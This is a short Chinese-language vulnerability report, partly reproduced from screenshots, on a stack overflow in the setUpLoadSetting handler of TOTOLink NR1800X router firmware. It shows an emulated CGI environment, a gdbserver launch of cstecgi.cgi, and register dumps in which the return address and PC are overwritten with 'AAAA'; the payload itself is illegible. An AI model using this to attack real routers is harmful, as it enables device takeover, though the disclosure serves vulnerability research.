

栈溢出

品牌:totoLink

产品型号:NR1800X

版本: V9.1.0u.6681_B20230703

由于没有真实设备所以我将二进制文件进行了patch，一般情况通过cookie之后才可以进行栈溢出，这里我们需要模拟对应的参数，这里厂商对setUpLoadSetting进行了strip的动作

验证过程

由于lighttpd不支持子进程模式,模拟请求环境启动gdb

рос

```
GATEWAY_INTERFACE=CGI/1.1 \  
> DOCUMENT_ROOT=/www/ \  
> REDIRECT_STATUS=200 \  
> SERVER_PROTOCOL=HTTP/1.1 \  
> SERVER_SOFTWARE=lighttpd/1.4.20 \  
> SERVER_NAME=192.168.0.2 \  
> SERVER_ADDR=0.0.0.0 \  
> SERVER_PORT=80 \  
> REMOTE_ADDR=192.168.0.4 \  
> REQUEST_METHOD=POST \  
> SCRIPT_NAME=/cgi-bin/cstecgi.cgi \  
> SCRIPT_FILENAME=/www/cgi-bin/cstecgi.cgi \  
> CONTENT_TYPE=application/x-www-form-urlencoded \  
> CONTENT_LENGTH=261 \  
> HTTP_HOST=192.168.0.2 \  
> ./gdbserver --once 0.0.0.0:8888 ./cstecgi.cgi < /tmp/o1.txt
```

payload

[illegible]

EditViewSearchTerminalHelp

REMOTE_ADDR=192.168.0.4 \

REQUEST_METHOD=POST \

SCRIPT_NAME=/cgi-bin/cstecgi.cgi \

SCRIPT_FILENAME=/www/cgi-bin/cstecgi.cgi \

CONTENT_TYPE=application/x-www-form-urlencoded \

CONTENT_LENGTH=261 \

HTTP_HOST=192.168.0.2 \

./gdbserver --once 0.0.0.0:8888 ./cstecgi.cgi

process ./cstecgi.cgi created; pid = 2749

listening on port 8888

remote debugging from host 192.168.0.4

; can't stat 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AA

AA': No such

"settingERR": "MSG_config_error"

jjemi v3910_4325... 3910 parse_symb... ida 38200_symb... 38200.i64

FileEditViewSearchTerminalHelp

*T9 0x77f19a38 ← lui \$gp, 2

*S0 0x41414141 ('AAAA')

*S1 0x41414141 ('AAAA')

*S2 0x41414141 ('AAAA')

*S3 0x41414141 ('AAAA')

*S4 0x41414141 ('AAAA')

*S5 0x41414141 ('AAAA')

*S6 0x41414141 ('AAAA')

*S7 0x41414141 ('AAAA')

S8 0x7ff4b428 ← 0

*GP 0x77f550b0 ← nop

*FP 0x7fff5548 ← 'AAAAAAAAAAAA /tmp/restore_check'

*SP 0x7fff5548 ← 'AAAAAAAAAAAA /tmp/restore_check'

RA 0x41414141 ('AAAA')

*PC 0x41414141 ('AAAA')

[DISASM / mips / set emulate on]

Invalid address 0x41414141